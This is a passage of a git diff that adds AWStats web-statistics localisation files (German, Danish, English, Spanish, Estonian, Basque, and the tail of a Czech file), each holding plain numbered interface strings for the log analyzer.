+message141=Prohlížeče s podporou Macromedia Director +message142=Prohlížeče s podporou Flash +message143=Prohlížeče s podporou přehrávání zvuku Real +message144=Prohlížeče s podporou přehrávání zvuku QuickTime +message145=Prohlížeče s podporou přehrávání zvuku Windows Media +message146=Prohlížeče s podporou PDF +message147=Chybové kódy SMTP +message148=Země +message149=Zprávy +message150=Velikost +message151=První +message152=Poslední +message153=Neobsahuje +message154=Zde uvedené kódy představují nestandardní odpovědi serveru, které netvoří běžný provoz, a proto tato zátěž není zahrnuta v ostatních tabulkách. +message155=Cluster +message156=Zde uvedené roboty představují zátěž, která nebyla způsobena běžnými uživateli, a proto není zahrnuta v ostatních tabulkách. +message157=Čísla po + udávají počet úspěšných stažení souboru robots.txt. +message158=Zde uvedené červy představují zátěž, která nebyla způsobena běžnými uživateli, a proto není zahrnuta v ostatních grafech. +message159=Zbylá zátěž sestává z návštěv robotů a červů a z odpovědí serveru s nestandardními stavovými kódy HTTP. +message160=Běžná uživatelská zátěž +message161=Zbylá zátěž +message162=Měsíční přehled +message163=Červy +message164=různých červů +message165=Úspěšně odeslané emaily +message166=Neúspěšné emaily +message167=Zranitelné cíle +message168=JavaScript vypnut +message169=Vygenerováno programem +message170=pluginy +message171=Regiony +message172=Města +message173=Verze Opera +message174=Verze Safari +message175=Verze Chrome +message176=Verze Konqueror diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-de.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-de.txt new file mode 100644 index 0000000..e968480 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-de.txt @@ -0,0 +1,168 @@ +# German message file +# $Revision: 1.20 $ - $Date: 2008/10/05 11:21:34 $ +PageCode=iso-8859-1 +message0=Unbekannt +message1=Unbekannte (IP konnte nicht aufgelöst werden ) +message2=Sonstige +message3=Details anzeigen +message4=Tag +message5=Monat +message6=Jahr +message7=Statistik für +message8=Erster Zugriff +message9=Letzter Zugriff +message10=Anzahl der Besuche +message11=Unterschiedliche Besucher +message12=Besuch +message13=Suchbegriffe +message14=Häufigkeit +message15=Prozent +message16=Datenvolumen +message17=Domains/Länder +message18=Besucher +message19=Seiten-URL +message20=Stunden (Serverzeit) +message21=Browser +message22=HTTP Fehlermeldungen +message23=Verweise +message24=Noch nie aktualisiert +message25=Domains/Länder der Besucher +message26=Rechner +message27=Seiten +message28=Unterschiedliche Seiten +message29=Zugriffe +message30=Weitere Suchbegriffe +message31=Nicht gefundene Seiten +message32=HTTP Fehlercodes +message33=Netscape Versionen +message34=Internet Explorer Versionen +message35=Zuletzt aktualisiert +message36=Woher die Besucher kamen +message37=Herkunft +message38=Direkter Zugriff/Bookmarks +message39=Herkunft unbekannt +message40=Links von einer Internet-Suchmaschine +message41=Links von einer externen Seite (keine Suchmaschinen) +message42=Links von einer internen Seite innerhalb der Web Site +message43=Suchausdrücke (Suchmaschinen) +message44=Suchbegriffe (Suchmaschinen) +message45=Unaufgelöste IP Adressen +message46=Unbekanntes Betriebssystem +message47=Nicht auffindbare Seiten (Fehler 404) +message48=IP Adresse +message49=Fehlerhafte Zugriffe +message50=Unbekannter Browser +message51=Zugriffe durch Suchmaschinen +message52=Besuche/Besucher +message53=Robots/Spiders (Suchmaschinen) +message54=Kostenloses Programm zur Echtzeitanalyse für moderne Webstatistiken +message55=von +message56=Seiten +message57=Zugriffe +message58=Versionen +message59=Betriebssysteme +message60=Jan +message61=Feb +message62=März +message63=Apr +message64=Mai +message65=Juni +message66=Juli +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Dez +message72=Navigation +message73=Datei-Typen +message74=Jetzt aktualisieren +message75=Bytes +message76=Zurück zur Hauptseite +message77=Top +message78=dd.mm.yyyy - HH:MM +message79=Filter +message80=Gesamte Liste +message81=Rechner +message82=Bekannte +message83=Robots +message84=So +message85=Mo +message86=Di +message87=Mi +message88=Do +message89=Fr +message90=Sa +message91=Wochentage +message92=Wer +message93=Wann +message94=beglaubigte Benutzer +message95=Minimum +message96=Durchschnitt +message97=Maximum +message98=Kompressionsrate +message99=gesparte Bandbreite +message100=unkomprimiert +message101=komprimiert +message102=Total +message103=verschiedene Suchbegriffe +message104=Einstiegsseiten +message105=Code +message106=durchschnitt. Größe +message107=Links aus einer News Gruppe +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Ja +message113=Nein +message114=Whois Informationen +message115=OK +message116=Exit Seiten +message117=Aufenthaltsdauer +message118=Fenster schließen +message119=Bytes +message120=Suchausdrücke +message121=Suchbegriffe +message122=Suchmaschinen +message123=Websites +message124=Weitere Suchausdrücke +message125=Unbekannte Benutzer +message126=Suchmaschinen +message127=Websites +message128=Zusammenfassung +message129=Der genaue Wert ist nicht in der 'Jahres'-Ansicht verfügbar +message130=Datenwert Arrays +message131=E-Mail Sender +message132=E-Mail Empfänger +message133=Zeitraum +message134=Extra/Marketing +message135=Bildschirmauflösungen +message136=Wurm/Virus Angriffe +message137=Zu Favoriten hinzugefügt (Schätzung) +message138=Tage im Monat +message139=Verschiedenes +message140=Browser mit Unterstützung für JAVA +message141=Browser mit Unterstützung für Macromedia Director +message142=Browser mit Unterstützung für Flash +message143=Browser mit Unterstützung für Real Audio Klangwiedergabe +message144=Browser mit Unterstützung für Quicktime Klangwiedergabe +message145=Browser mit Unterstützung für Windows Media Klangwiedergabe +message146=Browser mit Unterstützung für PDF +message147=Browser mit Unterstützung für SMTP Fehlercodes +message148=Länder +message149=Mails +message150=Größe +message151=Erste +message152=Letzte +message153=Exklusiv-Filter +message154=Die Codes, die hier angezeigt werden, zeigen Treffer oder Traffic welchen Besucher "nicht gesehen" haben und sind in den übrigen Diagrammen nicht enthalten. +message155=Cluster +message156=Die Robots, die hier angezeigt werden, zeigen Treffer oder Traffic welchen Besucher "nicht gesehen" haben und sind in den übrigen Diagrammen nicht enthalten. +message157=Zahlen hinter + sind erfolgreiche Treffer auf die "robots.txt"-Datei +message158=Die Würmer, die hier angezeigt werden, zeigen Treffer oder Traffic welchen Besucher "nicht gesehen" haben und sind in den übrigen Diagrammen nicht enthalten +message159=Nicht gesehener Traffic ist Traffic, welcher von Robots, Würmern oder Antworten mit speziellem HTTP-Statuscode +message160=gesehener Traffic +message161=nicht gesehener Traffic +message162=Monatliche Historie +message163=Würmer +message164=unterschiedliche Würmer diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-dk.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-dk.txt new file mode 100644 index 0000000..8cd763a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-dk.txt @@ -0,0 +1,177 @@ +# Danish message file by Ole Stanstrup (revised and amended by soren@dacafe.com) +# $Revision: 1.16 $ - $Date: 2008/10/05 11:01:31 $ +# Danish message file Update by Michael Andreassen (revised michael@the-exterminator.dk) +PageCode=iso-8859-1 +message0=Ukendt +message1=Ukendt (uopløst IP-adresse) +message2=Andre +message3=Se detaljer +message4=Dag +message5=Måned +message6=�r +message7=Statistik for +message8=Første besøg +message9=Sidste besøg +message10=Antal besøg +message11=Unikke besøgende +message12=Besøg +message13=forskellige søgeord +message14=Søg +message15=Procent +message16=Trafik resume +message17=Domæner/Lande +message18=Besøgende +message19=Sider/URL +message20=Klokkeslæt (Servertid) +message21=Browsere +message22= +message23=Henvisende sider +message24=Aldrig opdateret (Se 'Build/Update' i awstats_setup.html) +message25=Besøgende domæner/lande +message26=hosts +message27=sider +message28=forskellige sider/URL +message29=Viste sider +message30=Andre ord +message31=Ikke fundne sider +message32=HTTP statuskoder +message33=Netscape versioner +message34=IE versioner +message35=Seneste opdatering +message36=Forbundet til websitet fra +message37=Oprindelse +message38=Direkte adgang/via bogmærker +message39=Ukendt oprindelse +message40=Links fra en internet søgemaskine +message41=Links fra en ekstern side (andre websites, undtagen søgemaskiner) +message42=Links fra en intern side (anden side på samme site) +message43=Anvendte søgesætninger på søgemaskiner +message44=Anvendte søgeord på søgemaskiner +message45=Uopløste IP-adresser +message46=Ukendte OS (useragent felt) +message47=Krævet, men ikke fundet URL (HTTP-kode 404) +message48=IP-adresse +message49=Fejl Hits +message50=Ukendte browsere (useragent felt) +message51=forskellige robotter +message52=besøg/besøgende +message53=Robotter/Spiders besøgende +message54=Gratis realtidsanalyse af logfiler med avancerede web-statistikker +message55=af +message56=Sider +message57=Hits +message58=Versioner +message59=Operativsystemer +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Maj +message65=Jun +message66=Jul +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Dec +message72=Navigation +message73=Filtyper +message74=Opdater nu +message75=Båndbredde +message76=Tilbage til forsiden +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Komplet liste +message81=Hosts +message82=Kendte +message83=Robotter +message84=Søn +message85=Man +message86=Tir +message87=Ons +message88=Tor +message89=Fre +message90=Lør +message91=Dage i ugen +message92=Hvem +message93=Hvornår +message94=Godkendte brugere +message95=Min +message96=Gennemsnit +message97=Max +message98=Webkomprimering +message99=Båndbredde sparet +message100=Før komprimering +message101=Efter komprimering +message102=Total +message103=forskellige søgesætninger +message104=Indgangssider +message105=Kode +message106=Gennemsnitsstørrelse +message107=Links fra en nyhedsgruppe +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Ja +message113=Nej +message114=WhoIs information +message115=OK +message116=Udgangssider +message117=Besøgets varighed +message118=Luk vindue +message119=Bytes +message120=Søgning Søgesætninger +message121=Søgning Søgeord +message122=forskellige henvisende søgemaskiner +message123=forskellige henvisende sites +message124=Andre sætninger +message125=Andre logins (og/eller anonyme brugere) +message126=Henvisende søgemaskiner +message127=Henvisende web-steder +message128=Sammendrag +message129=Præcis værdi ikke tilgængelig ved 'helårlig' visning +message130=Ordnet liste +message131=Afsenderens E-mail +message132=Modtagerens E-mail +message133=Rapporteret periode +message134=Ekstra +message135=Skærmopløsninger +message136=Orme/Virus angreb +message137=Tilføjet til Foretrukne (estimeret) +message138=Dage i måneden +message139=Diverse +message140=Browsere med Java understøttelse +message141=Browsere med Macromedia Director understøttelse +message142=Browsere med Flash Player understøttelse +message143=Browsere med RealPlayer understøttelse +message144=Browsere med Quicktime audio understøttelse +message145=Browsere med Windows Mediaplayer understøttelse +message146=Browsere med PDF understøttelse +message147=SMTP Fejlkoder +message148=Lande +message149=E-Mails +message150=Størrelse +message151=Først +message152=Sidst +message153=Exclude filter +message154=Koder, der er vist her, gav hits eller trafik, der 'ikke er set' af besøgende, så de medtages ikke i andre tabeller. +message155=Cluster +message156=Robotter, der er vist her, gav hits eller trafik, der 'ikke er set' af besøgende, så de medtages ikke i andre tabeller. +message157=Tallet efter + er antallet af succesfulde hits på 'robots.txt'-filer. +message158=Orme, der er vist her, gav hits eller trafik, der 'ikke er set' af besøgende, så de medtages ikke i andre tabeller. +message159='Ikke set trafik' er trafik genereret af robotter, orme eller svar med speciel HTTP statuskode. +message160=Set trafik +message161=Ikke set trafik +message162=Månedlig historie +message163=Orme +message164=forskellige orme +message165=Antal succesfuldt afsendte e-mails +message166=Antal fejlede/afviste e-mails +message167=Sårbare systemer +message168=Browsere med Javascript slået fra +message169=Lavet af +message170=plugins +message171=Regioner +message172=Byer diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-en.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-en.txt new file mode 100644 index 0000000..0c4fb4a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-en.txt @@ -0,0 +1,182 @@ +# English message file (eldy@users.sourceforge.net) +# $Revision: 1.90 $ - $Date: 2010/06/09 14:46:20 $ +PageCode=utf-8 +message0=Unknown +message1=Unknown (unresolved ip) +message2=Others +message3=View details +message4=Day +message5=Month +message6=Year +message7=Statistics for +message8=First visit +message9=Last visit +message10=Number of visits +message11=Unique visitors +message12=Visit +message13=different keywords +message14=Search +message15=Percent +message16=Traffic +message17=Domains/Countries +message18=Visitors +message19=Pages-URL +message20=Hours +message21=Browsers +message22= +message23=Referrers +message24=Never updated (See 'Build/Update' on awstats_setup.html page) +message25=Visitors domains/countries +message26=hosts +message27=pages +message28=different pages-url +message29=Viewed +message30=Other words +message31=Pages not found +message32=HTTP Status codes +message33=Netscape versions +message34=IE versions +message35=Last Update +message36=Connect to site from +message37=Origin +message38=Direct address / Bookmark / Link in email... +message39=Unknown Origin +message40=Links from an Internet Search Engine +message41=Links from an external page (other web sites except search engines) +message42=Links from an internal page (other page on same site) +message43=Keyphrases used on search engines +message44=Keywords used on search engines +message45=Unresolved IP Address +message46=Unknown OS (useragent field) +message47=Required but not found URLs (HTTP code 404) +message48=IP Address +message49=Error Hits +message50=Unknown browsers (useragent field) +message51=different robots +message52=visits/visitor +message53=Robots/Spiders visitors +message54=Free realtime logfile analyzer for advanced web statistics +message55=of +message56=Pages +message57=Hits +message58=Versions +message59=Operating Systems +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=May +message65=Jun +message66=Jul +message67=Aug +message68=Sep +message69=Oct +message70=Nov +message71=Dec +message72=Navigation +message73=File type +message74=Update now +message75=Bandwidth +message76=Back to main page +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Full list +message81=Hosts +message82=Known +message83=Robots +message84=Sun +message85=Mon +message86=Tue +message87=Wed +message88=Thu +message89=Fri +message90=Sat +message91=Days of week +message92=Who +message93=When +message94=Authenticated users +message95=Min +message96=Average +message97=Max +message98=Web compression +message99=Bandwidth saved +message100=Compression on +message101=Compression result +message102=Total +message103=different keyphrases +message104=Entry +message105=Code +message106=Average size +message107=Links from a NewsGroup +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Yes +message113=No +message114=Info. +message115=OK +message116=Exit +message117=Visits duration +message118=Close window +message119=Bytes +message120=Search Keyphrases +message121=Search Keywords +message122=different referring search engines +message123=different referring sites +message124=Other phrases +message125=Other logins (and/or anonymous users) +message126=Referring search engines +message127=Referring sites +message128=Summary +message129=Exact value not available in 'Year' view +message130=Data value arrays +message131=Sender EMail +message132=Receiver EMail +message133=Reported period +message134=Extra/Marketing +message135=Screen sizes +message136=Worm/Virus attacks +message137=Successful hits on favicon.ico +message138=Days of month +message139=Miscellaneous +message140=Browsers with Java support +message141=Browsers with Macromedia Director Support +message142=Browsers with Flash Support +message143=Browsers with Real audio playing support +message144=Browsers with Quicktime audio playing support +message145=Browsers with Windows Media audio playing support +message146=Browsers with PDF support +message147=SMTP Error codes +message148=Countries +message149=Mails +message150=Size +message151=First +message152=Last +message153=Exclude filter +message154=Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts. +message155=Cluster +message156=Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts. +message157=Numbers after + are successful hits on "robots.txt" files. +message158=Worms shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts. +message159=Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes. +message160=Viewed traffic +message161=Not viewed traffic +message162=Monthly history +message163=Worms +message164=different worms +message165=Mails successfully sent +message166=Mails failed/refused +message167=Sensitive targets +message168=Javascript disabled +message169=Created by +message170=plugins +message171=Regions +message172=Cities +message173=Opera versions +message174=Safari versions +message175=Chrome versions +message176=Konqueror versions +message177=, +message178=Downloads \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-es.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-es.txt new file mode 100644 index 0000000..309b4af --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-es.txt @@ -0,0 +1,174 @@ +# Spanish message file (Temu-BCN temujinnn@hotmail.com, Sergio Bayarri Gausi euimail@aiind.upv.es) +# $Revision: 1.17 $ - $Date: 2008/11/15 15:23:45 $ +PageCode=utf-8 +message0=Desconocido +message1=Desconocidos (Dirección IP desconocida) +message2=Otros +message3=Ver detalles +message4=Día +message5=Mes +message6=Año +message7=Estadísticas de +message8=Primera visita +message9=Última visita +message10=Número de visitas +message11=Visitantes distintos +message12=Visita +message13=palabras clave diferentes +message14=Búsquedas +message15=Porcentaje +message16=Tráfico +message17=Dominios/Países +message18=Visitantes +message19=Páginas-URLs +message20=Visitas por Horas +message21=Navegadores +message22= +message23=Enlaces +message24=Nunca se ha actualizado (Consulte 'Build/Update' en la página awstats_setup.html) +message25=Visitas por Dominios/Países +message26=servidores +message27=páginas +message28=páginas diferentes +message29=Accesos +message30=Otras palabras +message31=Páginas no encontradas +message32=Códigos de error HTTP +message33=Versiones de Netscape +message34=Versiones de MS Internet Explorer +message35=Última actualización +message36=Conectado al sitio desde +message37=Origen de la conexión +message38=Entrada directa o desde Favoritos +message39=Origen desconocido +message40=Enlaces desde algún buscador de Internet +message41=Enlaces desde páginas externas (otros sitios web, excepto buscadores) +message42=Enlaces desde páginas internas (otras páginas del sitio) +message43=Frases clave utilizadas en el buscador +message44=Palabras clave utilizadas en el buscador +message45=Dirección IP no identificada +message46=Sistema Operativo desconocido (campo de referencia) +message47=URLs solicitadas pero no encontradas (código 404 del protocolo HTTP) +message48=Dirección IP +message49=Solicitudes erróneas +message50=Navegadores desconocidos (campo de referencia) +message51=robots distintos +message52=visitas/visitante +message53=Visitas de Robots/Spiders +message54=Analizador de históricos libre para estadísticas Web avanzadas +message55=de +message56=Páginas +message57=Solicitudes +message58=Versiones +message59=Sistemas Operativos +message60=Ene +message61=Feb +message62=Mar +message63=Abr +message64=May +message65=Jun +message66=Jul +message67=Ago +message68=Sep +message69=Oct +message70=Nov +message71=Dic +message72=Navegación +message73=Tipos de ficheros +message74=Actualizar ahora +message75=Tráfico +message76=Volver a la página principal +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filtro +message80=Lista completa +message81=Servidores +message82=Conocidos +message83=Robots +message84=Dom +message85=Lun +message86=Mar +message87=Mie +message88=Jue +message89=Vie +message90=Sab +message91=Días de la semana +message92=Quién +message93=Cuándo +message94=Usuarios autentificados +message95=Min +message96=Media +message97=Max +message98=Compresión Web +message99=Tráfico ahorrado +message100=Antes de la compresión +message101=Después de la compresión +message102=Total +message103=frases clave diferentes +message104=Página de entrada +message105=Código +message106=Tamaño medio +message107=Enlaces desde grupos de noticias +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Sí +message113=No +message114=Información Whois +message115=Aceptar +message116=Salida +message117=Duración de las visitas +message118=Cerrar ventana +message119=Bytes +message120=Búsquedas por frases clave +message121=Búsquedas por palabras clave +message122=enlaces desde buscadores diferentes +message123=enlaces desde sitios diferentes +message124=Otras cadenas de búsqueda +message125=Otros usuarios (y/o usuarios anónimos) +message126=Enlaces desde buscadores +message127=Sitios de enlace +message128=Resumen +message129=Valor exacto no disponible en la vista anual +message130=Tabla de datos +message131=Correo electrónico del emisor +message132=Correo electrónico del receptor +message133=Periodo mostrado +message134=Extra/Marketing +message135=Resoluciones de pantalla +message136=Ataques de Gusanos/Virus +message137=Añadido a favoritos (estimado) +message138=Días del mes +message139=Misceláneos +message140=Navegadores con soporte Java +message141=Navegadores con soporte Macromedia Director +message142=Navegadores con soporte Flash +message143=Navegadores con soporte de reproductor Real audio +message144=Navegadores con soporte de reproductor Quicktime audio +message145=Navegadores con soporte de reproductor Windows Media audio +message146=Navegadores con soporte PDF +message147=Códigos de error SMTP +message148=Países +message149=Correos +message150=Tamaño +message151=Primero +message152=Último +message153=Excluir Filtro +message154=Los códigos mostrados aquí son dados por solicitudes o tráfico "no visto" por los visitantes, y no se incluyen en otros apartados. +message155=Cluster +message156=Los Robots mostrados aquí son dados por solicitudes o tráfico "no visto" por los visitantes, y no se incluyen en otros apartados. +message157=Los números mostrados trás el + son solicitudes con éxito de archivos "robots.txt". +message158=Los Gusanos mostrados aquí son dados por solicitudes o tráfico "no visto" por los visitantes, y no se incluyen en otros apartados. +message159=El tráfico "no visto" es tráfico generado por robots, gusanos o respuestas de código especial de estado HTTP. +message160=Tráfico visto +message161=Tráfico no visto +message162=Histórico Mensual +message163=Gusanos +message164=gusanos diferentes +message165=Correos electrónicos enviados con éxito +message166=Correos electrónicos incorrectos o rechazados +message167=Destinos sensibles +message168=Javascript deshabilitado +message169=Generado por +message170=plugins diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-et.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-et.txt new file mode 100644 index 0000000..ad07c9b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-et.txt @@ -0,0 +1,138 @@ +# Estonian message file Andrei Kolu(antik@nek.ee) +# $Revision: 1.3 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Tundmatu +message1=Tundmatut (domeeninimeta ip-d) +message2=Teised +message3=Täpsem ülevaade +message4=Päev +message5=Kuu +message6=Aasta +message7=Statistika +message8=Esimene Külastus +message9=Viimane Külastus +message10=Külastuste arv +message11=üksik-külastajat +message12=Külastus +message13=erinevat märksõna +message14=Otsi +message15=Protsent +message16=Traffik +message17=Domeenid/Riigid +message18=Külastajaid +message19=Lehekülgi-URL-e +message20=Tunnid +message21=Brauserid +message22=HTTP Vead +message23=Referers +message24=Pole varem uuendatud +message25=Külastajaid domeenis/riike +message26=Külastajaid +message27=lehekülgi +message28=erinevat lehekülge- url-i +message29=Vaadatud +message30=Muud sõnad +message31=Lehekülgi mida pole leitud +message32=HTTP veakoodid +message33=Netscape versioonid +message34=IE versioonid +message35=Viimati Uuendatud +message36=Lingitud teise kodulehekülje kaudu +message37=Päritolu +message38=Otsene aadress / Järjehoidjad +message39=Tundmatu päritolu +message40=Lingid Interneti otsingusüsteemidelt +message41=Lingid välistelt lehekülgedelt (muud koduleheküljed väljaarvatud otsingusüsteemid) +message42=Lingid sisemistelt lehekülgedelt (muud koduleheküljed samalt serverilt) +message43=Otsingusüsteemides kasutatud märgulaused +message44=Otsingusüsteemides kasutatud märgusänad +message45=Domeeninimeta IP Aadress +message46=Tundmatu OS (useragent field) +message47=Nõutud, kuid leidmata URL-id (HTTP kood 404) +message48=IP Aadress +message49=Vigaseid tabamusi +message50=Tundmatud brauserid (useragent field) +message51=erinevad robotid +message52=külastust/külastaja kohta +message53=Robotid +message54=Tasuta reaalajas Weebiserveri logifailide statistika analüüsija +message55=millest +message56=Lehekülgi +message57=Tabamusi +message58=Versioone +message59=Operatsioonisüsteemid +message60=Jaan +message61=Veeb +message62=Märt +message63=Apr +message64=Mai +message65=Juun +message66=Juul +message67=Aug +message68=Sept +message69=Okt +message70=Nov +message71=Dets +message72=Navigatsioon +message73=Failitüübid +message74=Uuendada +message75=Läbilase +message76=Tagasi pealehele +message77=TOP +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Täisnimekiri +message81=Külastajad +message82=Teada +message83=Robotid +message84=Püh +message85=Esm +message86=Tei +message87=Kol +message88=Nel +message89=Ree +message90=Lau +message91=Nädalapäevad +message92=Kes +message93=Millal +message94=Autoriseerinud kasutajad +message95=Min. +message96=Keskmine +message97=Maks. +message98=Pakkimine +message99=Salvestatud läbilase +message100=Enne pakkimist +message101=Pärast pakkimist +message102=Kokku +message103=erinevat märksõna +message104=Esimesena läbi vaadatud +message105=Kood +message106=Keskmine suurus +message107=Lingid UudisteGruppidest +message108=KB +message109=MB +message110=GB +message111=Allalaadija +message112=Jah +message113=Ei +message114=WhoIs info +message115=OK +message116=Väljumisi +message117=Külastuste kestvus +message118=Sulge aken +message119=Baiti +message120=Otsitavad märklaused +message121=Otsitavad märksõnad +message122=erinevad suunavad otsingusüsteemid +message123=erinevad suunavad leheküljed +message124=Muud märksõnad +message125=Muud logimised (ja/või anonüümsed kasutajad) +message126=Suunavad otsingusüsteemid +message127=Suunavad leheküljed +message128=Kokkuvõte +message129=Täpne väärtus 'Aasta' ülevaates pole saadaval +message130=Andmete massiiv +message131=Saatja EMail +message132=Vastuvötja EMail +message133=Perioodi aruanne +message134=Lisa diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-eu.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-eu.txt new file mode 100644 index 0000000..f6744dd --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-eu.txt @@ -0,0 +1,178 @@ +# Basque - Euskara message file +# $Revision: 1.3 $ - $Date: 2008/10/05 11:01:31 $ +# aktor - aktor@aktornet.ath.cx +# agonirena - agonirena@gmail.com +PageCode=iso-8859-1 +message0=Ezezaguna +message1=IP helbide ezezagunekoa +message2=Beste batzuk +message3=Xehetasunak ikusi +message4=Eguna +message5=Hilabetea +message6=Urtea +message7=Lekuko estadistikak +message8=Lehenengo bisita +message9=Azken bisita +message10=Bisita kopurua +message11=Bisitari desberdinak +message12=Bisita +message13=Gako-hitz +message14=Bilaketak +message15=Ehunekoa +message16=Trafiko +message17=Domeinuak/Herriak +message18=Bisitariak +message19=Orriak/URLak +message20=Orduko bisitak +message21=Nabigatzaileak +message22=Akatsak +message23=Loturak (Links) +message24=Bilaketarako hitz gakoa +message25=Domeinuko/Herrialdeko bisitak +message26=zerbitzariak +message27=orriak +message28=orri desberdinak +message29=Sarbideak +message30=Beste hitz batzuk +message31=Aurki gabeko orriak +message32=HTTP akats kodeak +message33=Netscape bertsioak +message34=MS Internet Explorer bertsioak +message35=Azken eguneratzea +message36=Lekurako loturak (links) +message37=Lotura-iturburua +message38=Helbide zuzenetik edo Gogokoetatik +message39=Iturburu ezezaguna +message40=Bilaketa-tresnaren batetik loturak +message41=Kanpoko horrietatik loturak (bilaketa-tresnak salbuesten) +message42=Barneko horrietatik loturak (gunearen beste orriak) +message43=Bilaketa-tresna erabilitako gako-esaldiak +message44=Bilaketa-tresna erabilitako gako-hitzak +message45=IP helbide ezezaguna +message46=Sistema Eragile ezezaguna (useragent) +message47=Eskatutako baina bilatugabeko URLak (404 kodea HTTP protokoloan) +message48=IP Helbidea +message49=Hits okerrak +message50=Bilatzaile ezezagunak (useragent) +message51=Robot bisitak +message52=Bisitak/Bisitariak +message53=Robot bisitak/Armiarmak +message54=Web estatistika aurreratuentzat doako 'log' aztertzailea +message55=de +message56=Orriak +message57=Hits +message58=Bertsioak +message59=Sistema Eragileak +message60=Urt +message61=Ots +message62=Mar +message63=Api +message64=Mai +message65=Eka +message66=Uzt +message67=Abu +message68=Ira +message69=Urr +message70=Aza +message71=Abe +message72=Nabigazioa +message73=Fitxategi mota +message74=Eguneratu orain +message75=Bytes +message76=Orri nagusira itzuli +message77=Gora +message78=dd mmm yyyy - HH:MM +message79=Iragazki +message80=Zerrenda osoa +message81=Zerbitzariak +message82=Ezagunak +message83=Robotak +message84=Igandea +message85=Astelehena +message86=Asteartea +message87=Asteazkena +message88=Osteguna +message89=Ostirala +message90=Larunbata +message91=Asteko egunak +message92=Nork +message93=Noiz +message94=Erabiltzaile Baimenduak +message95=Gut +message96=Batazbeste +message97=Geh +message98=Web konpresioa +message99=Banda-zabalera aurreztua +message100=Konpresio aurretik +message101=Konpresio ondoren +message102=Guztira +message103=Gako-esaldi ezberdinak +message104=Sarrerako orria +message105=Kodea +message106=BatazBesteko neurria +message107=NewsGroup-etik loturak +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Bai +message113=Ez +message114=Whois informazioa +message115=Onartu +message116=Irteera +message117=Bisiteen iraupena +message118=Leihoa itxi +message119=Bytes +message120=Esaldi bilaketa-tresna +message121=Gako-hitz bilaketa-tresna +message122=Bilaketa-tresna igortzaile desberdinak +message123=Gune igortzaile desberdinak +message124=Beste gako-esaldi batzuk +message125=Beste login batzuk (eta/edo erabiltzaile anonimoak) +message126=Bilaketa-tresna igortzaileak +message127=Gune igortzaileak +message128=Laburpena +message129=Balio zehatza ez dago eskuragarri 'Urte' ikuspegian +message130=Datu taula +message131=Bidaltzailearen EPosta +message132=Jasotzilearen EPosta +message133=Erakutsitako denboraldia +message134=Extra/Marketing +message135= Pantailaren tamainak +message136=HAr/Birus erasoak +message137=Laster-marka gehitu (adierazle erlatiboa) +message138=Hilabeteko eguna +message139=Hainbat +message140=Java euskarria duten nabigatzaileak +message141=Macromedia Director euskarria duten nabigatzaieak +message142=Flash euskarria duten nabigatzaileak +message143=Real audio errprodukzio euskarria duten nabigatzaileak Browsers with Real audio playing support +message144=Quicktime audio erreprodukzio euskarria duten nabigatzaileak +message145=Windows Media audio erreprodukzio euskarria duten nabigatzaileak +message146=PDF euskarria duten nabigatzaileak +message147=SMTP errore kodeak +message148=Herrialdeak +message149=Postak +message150=Tamaina +message151=Lehendabizikoa +message152=Azkena +message153=Iragazkia baztertu +message154=Hemen erakutsitako kodeak, bisitariak "ez ikusitako" trafiko edo eskakizunek sortutakoak dira, beraz, ez dira beste grafika batzuetan kontan hartzen. +message155=Taldea +message156=Hemen erakutsitako robotak, bisitariak "ez ikusitako" trafiko edo eskakizunek sortutakoak dira, beraz, ez dira beste grafika batzuetan kontan hartzen. +message157=+ ondoren dauden zenbakiak, "robots.txt" fitxategien eskakizun arrakastatsuak dira. +message158=Hemen erakutsitako harrak, bisitariak "ez ikusitako" trafiko edo eskakizunek sortutakoak dira, beraz, ez dira beste grafika batzuetan kontan hartzen. +message159=Ez ikusitako trafikoa, robot, har edo HTTP egoera kode berezien erantzunek sortzen duten trafikoa da. +message160=Ikusitako trafikoa +message161=Ez ikusitako trafikoa +message162=Hileroko historia +message163=Harrak +message164=har desberdinak +message165=Postak ondo bidali dira +message166=Postak hutsegin/errefusatu +message167=Helburu sentikorrak +message168=Javascript ezgaitua +message169=Honek sortua +message170=pluginak +message171=Eskualdeak +message172=Hiriak diff --git 